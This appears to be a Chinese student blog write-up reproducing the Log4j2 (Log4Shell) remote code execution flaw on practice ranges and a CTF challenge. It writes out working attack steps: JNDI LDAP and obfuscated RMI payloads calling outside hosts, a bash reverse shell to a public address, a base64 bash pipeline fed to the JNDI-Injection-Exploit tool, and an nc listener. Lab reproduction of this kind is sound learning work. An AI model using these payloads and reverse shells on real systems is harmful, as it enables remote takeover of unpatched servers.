Log4j2漏洞复现

”长安战疫“赛里用到了Log4j2漏洞,按照学长的建议,用靶场复现一下log4j2漏洞

云演靶场

dnslog回显

四叶草云演的环境不错

Log4j2靶场传送门

参考学长写的文章复现

lc219_log4j2复现

记得payload要url编码,在校园网里头DNSlog回显很有可能只显示一条(无论打多少下,结果依然显示一条)

血的教训,搭进去至少一个小时

image.png

image-20220114112006945.png

反弹shell

照抄云演的材料就行

1
2
3
4
5
bash -i >&/dev/tcp/公网地址/公网可访问的端口 0>&1
bash -c {echo,反弹shell的base64编码内容}|{base64,-d}|{bash,-i}

//在服务器上部署JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码内容}|{base64,-d}|{bash,-i}" -A VPS地址

做到这一步才明白JNDI-Injection-Exploit是装在服务器上的,当时本地端还鼓弄了老半天,java8是运行不了JNDI-Injection的,换了kali默认的java11才跑起来

给服务器Centos安装nc

1
yum install nc

aaa

准备完毕后执行反弹shell

1
nc -lvnp 9000

收获flag

image.png

Vulfocus

不装docker的话,可以去http://vulfocus.fofa.so 上面做(需要注册账号)。每个环境只有15分钟,还是自建docker比较舒服。

2022.1.14做的复现,发现vulfocus不讲伍德,在2021.12.30把镜像给替换了,云演上那个才是vulfocus最早的镜像,所以1.14在网上找的文章全部木大。当时进展不太顺利,先把云演的复现了才开始做这个。

aaa

使用vulfocus的环境

1
docker pull vulfocus/log4j2-rce-2021-12-09

Snipaste_2022-01-13_23-27-29.png

校园网真的不得人心,起早贪黑起来拉取镜像(7点西安天都没亮)

Snipaste_2022-01-14_07-32-24.png

pull完以后,建立container

1
docker run -d -p 4080:8080 vulfocus/log4j2-rce-2021-12-09

4080是主机端口,8080是容器内部端口

访问以后是这样一个场景

image.png

image-20220114114925025.png

payload位置再明显不过了,往里面填就有dnslog回显(记得一定要URL编码,不编码直接跳400)

1
payload=${jndi:ldap://9anm9w.dnslog.cn/}

image.png

跳400实况

image.png

下一步参考前一章云演的操作即可

注意要选那个带有spring的payload,跟本文前面说的云演不一样

image.png

打的时候发现nc掉线了,死活收不到shell(腾讯云的机制在搞鬼?)

SSH重连才把问题解决

shiro?

”长安战疫“CTF的题目,当时没时间做,赛后发现是log4jrce就来兴趣了

四叶草赛事回顾环境

改造一下payload,其他payload会过不去,官方题解用woodpecker生成payload,但是woodpecker说明太久没更新,自己电脑没装maven编译麻烦,但好在github找到了一个payload生成:

https://github.com/yesspider-hacker/log4j-payload-generator

这个payload打出了dnslog

1
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://42.193.125.202:1099/sdf7pq}

注意要选那个带有spring的payload,其他payload打不出来!(试了一段时间才反应过来)

image.png

总结

这中间发生了不少坎坷,看到最后实现成功还是很高兴的。反弹shell可是web题的特色,不可不尝啊[/狗头]

大佬们的研究已经在路上了

log4j2.x 漏洞影响产品系列之Apache Solr内存马注入技术研究

探索高版本 JDK 下 JNDI 漏洞的利用方法